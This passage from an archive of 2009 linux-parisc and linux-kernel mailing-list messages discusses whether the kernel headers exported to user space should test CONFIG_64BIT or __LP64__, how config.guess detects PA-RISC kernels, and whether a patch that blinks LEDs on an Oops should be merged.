X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1219 gmane.linux.kernel:784261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1219>

On Wed, Jan 21, 2009 at 01:24:25AM +0100, Arnd Bergmann wrote:
...
> > This file needs to test for 64-bit'ness using some non-CONFIG_*
> > test.  And the standard built-in CPP macros which can be used
> > to check for that are different on every platform.
> 
> I think we should simply define a macro for use in the kernel, e.g. in
> <asm/types.h>. There already is a BITS_PER_LONG macro in there, maybe
> we can add an exported __BITS_PER_LONG there that checks for the right
> macro on each architecture.

I'm pretty sure __LP64__ is the standard compiler defined macro
for 64-bit builds on most architectures.

> On parisc, there is a major confusion in this area, at some point, all
> checks for __LP64__ got replaced with CONFIG_64BIT there. While I have
> not understood what the problem with __LP64__ was,

IIRC, the problem with __LP64__ is it wasn't visible to the CONFIG
tool chains and dependencies. I believe that's fixed now and parisc
could deprecate use of CONFIG_64BIT if there is a strong preference
for __LP64__.

> the check for
> CONFIG_64BIT on parisc user space looks very wrong.

This shouldn't be exported to user space. Is that what you meant?
PA-RISC user space can currently only be 32-bit anyway.
So a 64-bit kernel will have to take that into consideration.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 17:43:34 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090121224335.099C94F30@hiauly1.hia.nrc.ca>
References: <20090121222522.GB15211@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232577836 25137 80.91.229.12 (21 Jan 2009 22:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 22:43:56 +0000 (UTC)
Cc: arnd@arndb.de, davem@davemloft.net, jaswinder@kernel.org,
	mingo@elte.hu, x86@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 23:45:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPlof-0005nN-Nx
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 23:44:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753734AbZAUWnh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 17:43:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753680AbZAUWnh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 17:43:37 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4562 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753392AbZAUWnh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 17:43:37 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 099C94F30; Wed, 21 Jan 2009 17:43:35 -0500 (EST)
In-Reply-To: <20090121222522.GB15211@colo.lackof.org> from "Grant Grundler" at Jan 21, 2009 03:25:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1220 gmane.linux.kernel:784263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1220>

> > CONFIG_64BIT on parisc user space looks very wrong.
> 
> This shouldn't be exported to user space. Is that what you meant?

This does get exported to user space as applications sometimes need
to know whether they are running under a 32 or 64-bit kernel.  See
config.guess.  However, it certainly would be wrong to use this
to make decisions about user space.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 16:46:11 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <4977C1D3.2010801@zytor.com>
References: <20090121224335.099C94F30@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232585278 13521 80.91.229.12 (22 Jan 2009 00:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Jan 2009 00:47:58 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, arnd@arndb.de,
	davem@davemloft.net, jaswinder@kernel.org, mingo@elte.hu,
	x86@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 22 01:49:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPnkr-0001PH-32
	for glpp-linux-parisc@gmane.org; Thu, 22 Jan 2009 01:49:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753961AbZAVArt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 19:47:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753546AbZAVArt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 19:47:49 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:40197 "EHLO
	terminus.zytor.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753392AbZAVArs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 19:47:48 -0500
Original-Received: from anacreon.sc.intel.com (hpa@localhost [127.0.0.1])
	(authenticated bits=0)
	by terminus.zytor.com (8.14.2/8.14.1) with ESMTP id n0M0kBZn011339
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 21 Jan 2009 16:46:11 -0800
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <20090121224335.099C94F30@hiauly1.hia.nrc.ca>
X-Virus-Scanned: ClamAV 0.93.3/8885/Wed Jan 21 09:48:08 2009 on terminus.zytor.com
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1221 gmane.linux.kernel:784303
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1221>

John David Anglin wrote:
>>> CONFIG_64BIT on parisc user space looks very wrong.
>> This shouldn't be exported to user space. Is that what you meant?
> 
> This does get exported to user space as applications sometimes need
> to know whether they are running under a 32 or 64-bit kernel.  See
> config.guess.  However, it certainly would be wrong to use this
> to make decisions about user space.
> 

CONFIG_* macros are not (or at least should not) be exported to 
userspace!  Userspace should not make compile-time decisions based on 
kernel configuration -- a runtime property!

	-hpa

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 21:52:08 -0500 (EST)
Lines: 56
Approved: news@gmane.org
Message-ID: <20090122025209.307E54F30@hiauly1.hia.nrc.ca>
References: <4977C1D3.2010801@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232592744 29784 80.91.229.12 (22 Jan 2009 02:52:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Jan 2009 02:52:24 +0000 (UTC)
Cc: grundler@parisc-linux.org, arnd@arndb.de, davem@davemloft.net,
	jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: hpa@zytor.com (H. Peter Anvin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 22 03:53:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPphE-0003Cq-Aj
	for glpp-linux-parisc@gmane.org; Thu, 22 Jan 2009 03:53:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755671AbZAVCwM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 21:52:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755782AbZAVCwM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 21:52:12 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2094 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755667AbZAVCwL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 21:52:11 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 307E54F30; Wed, 21 Jan 2009 21:52:09 -0500 (EST)
In-Reply-To: <4977C1D3.2010801@zytor.com> from "H. Peter Anvin" at Jan 21, 2009 04:46:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1222 gmane.linux.kernel:784343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1222>

> CONFIG_* macros are not (or at least should not) be exported to 
> userspace!  Userspace should not make compile-time decisions based on 
> kernel configuration -- a runtime property!

Unfortunately, this decision was made years ago...

dave@mx3210:~$ uname -m
parisc64
dave@hiauly6:~/gnu/gcc-4.4/gcc$ uname -m
parisc

The only significant difference between the above two machines is that
mx3210 is running a 64-bit kernel and hiauly6 is running a 32-bit kernel.
Both are PA 2.0 machines.  Some PA 2.0 machines can only run 64-bit
kernels.  The workstations can typically run both.

The issue for user space is that 64-bit kernels can support both 32 and
64-bit applications.  This affects build scripts and make files.  The
default machine selected by config.guess for parisc64 is hppa64.
Separate applications provide 32-bit and 64-bit support in binutils, 
cc and gdb.  hppa64 selects 64-bit support when build these applications.
So, if you want a 32-bit compiler, you need to explicitly override
the default chosen by config.guess.

Historically, this occurred on parisc because the runtime differences
(on HP-UX) between 32 and 64-bit code are large, making it very difficult
to combine 32 and 64-bit support without changing a significant number
of macro defines affecting many targets.  There is still a lot of code
in gcc which depends on whether a given macro is defined or not.

In theory, it should be possible to use a single application to
generate 32 and 64-bit code on parisc for linux.  Jeff Law, who did
the 64-bit gcc implementation for parisc, said it wasn't worth the
effort to merge the two.  So far, the work to integrate the two
hasn't been done.

The situation on hpux is even more confusing, but in every case
config.guess effectively returns the assembler level that the kernel
was built with (hppa1.0, hppa1.1, hppa2.0n, hppa2.0w or hppa64) when
doing native builds.  It doesn't provide the processor family, or
specific hardware model of the build system.

In summary, config.guess has always made decisions based on kernel
configuration as this affects what can be supported in user space.
I'm sure that there are many other applications that depend on
kernel configuration in both direct and subtle ways.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 18:56:11 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <4977E04B.2040104@zytor.com>
References: <20090122025209.307E54F30@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232593052 30338 80.91.229.12 (22 Jan 2009 02:57:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Jan 2009 02:57:32 +0000 (UTC)
Cc: grundler@parisc-linux.org, arnd@arndb.de, davem@davemloft.net,
	jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 22 03:58:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPpmE-0004yL-Qb
	for glpp-linux-parisc@gmane.org; Thu, 22 Jan 2009 03:58:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755828AbZAVC5W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 21:57:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755974AbZAVC5W
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 21:57:22 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:47733 "EHLO
	terminus.zytor.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755667AbZAVC5V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 21:57:21 -0500
Original-Received: from mail.hos.anvin.org (c-98-210-181-100.hsd1.ca.comcast.net [98.210.181.100])
	(authenticated bits=0)
	by terminus.zytor.com (8.14.2/8.14.1) with ESMTP id n0M2uFB9024030
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 21 Jan 2009 18:56:16 -0800
Original-Received: from tazenda.hos.anvin.org (tazenda.hos.anvin.org [172.27.0.16])
	by mail.hos.anvin.org (8.14.2/8.13.8) with ESMTP id n0M2uFLQ003770;
	Wed, 21 Jan 2009 18:56:15 -0800
Original-Received: from tazenda.hos.anvin.org (localhost.localdomain [127.0.0.1])
	by tazenda.hos.anvin.org (8.14.3/8.13.6) with ESMTP id n0M2uBSI005123;
	Wed, 21 Jan 2009 18:56:12 -0800
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20090122025209.307E54F30@hiauly1.hia.nrc.ca>
X-Virus-Scanned: ClamAV 0.93.3/8886/Wed Jan 21 14:46:06 2009 on terminus.zytor.com
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1223 gmane.linux.kernel:784345
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1223>

John David Anglin wrote:
> 
> Unfortunately, this decision was made years ago...
> 
> dave@mx3210:~$ uname -m
> parisc64
> dave@hiauly6:~/gnu/gcc-4.4/gcc$ uname -m
> parisc
> 
> The only significant difference between the above two machines is that
> mx3210 is running a 64-bit kernel and hiauly6 is running a 32-bit kernel.
> Both are PA 2.0 machines.  Some PA 2.0 machines can only run 64-bit
> kernels.  The workstations can typically run both.
> 
> The issue for user space is that 64-bit kernels can support both 32 and
> 64-bit applications.  This affects build scripts and make files.  The
> default machine selected by config.guess for parisc64 is hppa64.
> Separate applications provide 32-bit and 64-bit support in binutils, 
> cc and gdb.  hppa64 selects 64-bit support when build these applications.
> So, if you want a 32-bit compiler, you need to explicitly override
> the default chosen by config.guess.
> 

That's fine... the whole point is that it should not depend on kernel
CONFIG_* macros.  Depending on uname is a user-space decision, no issue
there.

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Thu, 22 Jan 2009 12:23:33 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <7d01f9f00901220323u2898ae25hf149c65956fc2a4e@mail.gmail.com>
References: <20090121143130.GC27998@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232623423 19734 80.91.229.12 (22 Jan 2009 11:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Jan 2009 11:23:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 22 12:24:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPxg6-0002hN-Fu
	for glpp-linux-parisc@gmane.org; Thu, 22 Jan 2009 12:24:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750767AbZAVLXf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Jan 2009 06:23:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751621AbZAVLXe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 22 Jan 2009 06:23:34 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.172]:60372 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750767AbZAVLXd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Jan 2009 06:23:33 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so4903194wfd.4
        for <linux-parisc@vger.kernel.org>; Thu, 22 Jan 2009 03:23:33 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=iszXGZ54/S3+P0vvZyahhiirSSmaFsKkr/t0cA330b0=;
        b=dnTNWqIBEJ6i5MRS8f7h4i3tJfRhFKNfyGefTee204RViB3nPpXsY8z/XkNo0NZ7MM
         1AGv2kbkHK6OkQugK+NdbtBnx+78zypOu/AYrW24/xIF2ynDXfjXAeFr49CUgTWvbWE3
         2gnV8zUUpXKe6oPYr6EO7qV3OPBiL7jEPIj00=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=N71KbJducumr0xOZP+XlDlDXmyzhnCQEe3i2dnQ72K43uRCJCklSSDtgj61k9kl2oJ
         i9V2ebIJ1FQyCQzevZEXgq+eWEI5lAPv4SdHfCa/iH/IHQMeVXD3e4e5Opb47KJU2OGk
         wtC4lSMoYZyDndsziT6pRj2w9cUwEY/3sh3SM=
Original-Received: by 10.142.242.8 with SMTP id p8mr133250wfh.109.1232623413145; Thu, 
	22 Jan 2009 03:23:33 -0800 (PST)
In-Reply-To: <20090121143130.GC27998@bombadil.infradead.org>
X-Google-Sender-Auth: 94dcfeba8911349c
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1224>

On Wed, Jan 21, 2009 at 3:31 PM, Kyle McMartin <kyle@infradead.org> wrote:

> commit 1890e15142aa1318bb9775c4ea021aa022c506dc
> Author: Helge Deller <deller@gmx.de>
> Date:   Tue Jan 6 14:23:13 2009 +0100
>
>    parisc: blink loadavg LEDs on Oops
>

I thought we agreed this was a bad idea and that this patch should be
left aside?
Helge?

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Thu, 22 Jan 2009 12:43:22 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20090122174322.GA3184@bombadil.infradead.org>
References: <20090121143130.GC27998@bombadil.infradead.org> <7d01f9f00901220323u2898ae25hf149c65956fc2a4e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232646221 3735 80.91.229.12 (22 Jan 2009 17:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Jan 2009 17:43:41 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 22 18:44:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LQ3bk-0002Zh-6S
	for glpp-linux-parisc@gmane.org; Thu, 22 Jan 2009 18:44:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755158AbZAVRn2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Jan 2009 12:43:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755275AbZAVRn2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 22 Jan 2009 12:43:28 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40966 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755158AbZAVRn2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Jan 2009 12:43:28 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LQ3aM-0006yE-UK; Thu, 22 Jan 2009 17:43:22 +0000
Content-Disposition: inline
In-Reply-To: <7d01f9f00901220323u2898ae25hf149c65956fc2a4e@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1225>

On Thu, Jan 22, 2009 at 12:23:33PM +0100, Thibaut VARENE wrote:
> On Wed, Jan 21, 2009 at 3:31 PM, Kyle McMartin <kyle@infradead.org> wrote:
> 
> > commit 1890e15142aa1318bb9775c4ea021aa022c506dc
> > Author: Helge Deller <deller@gmx.de>
> > Date:   Tue Jan 6 14:23:13 2009 +0100
> >
> >    parisc: blink loadavg LEDs on Oops
> >
> 
> I thought we agreed this was a bad idea and that this patch should be
> left aside?
> Helge?
> 

Well, if you signed up for a patchwork account you could have flagged it
as such. :P

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Thu, 22 Jan 2009 19:36:16 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <7d01f9f00901221036i5b3ff549qde0de34ecbb90c85@mail.gmail.com>
References: <20090121143130.GC27998@bombadil.infradead.org>
	 <7d01f9f00901220323u2898ae25hf149c65956fc2a4e@mail.gmail.com>
	 <20090122174322.GA3184@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232649395 15319 80.91.229.12 (22 Jan 2009 18:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Jan 2009 18:36:35 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 22 19:37:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LQ4Qs-0004YT-Qw
	for glpp-linux-parisc@gmane.org; Thu, 22 Jan 2009 19:37:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753886AbZAVSgS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Jan 2009 13:36:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754680AbZAVSgS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 22 Jan 2009 13:36:18 -0500
Original-Received: from yw-out-2324.google.com ([74.125.46.31]:43275 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753886AbZAVSgR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Jan 2009 13:36:17 -0500
Original-Received: by yw-out-2324.google.com with SMTP id 9so1993902ywe.1
        for <linux-parisc@vger.kernel.org>; Thu, 22 Jan 2009 10:36:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=wh296PjnI5/i3LAjlxZSCnk6zB5n7IfA+hwQAJrcnrk=;
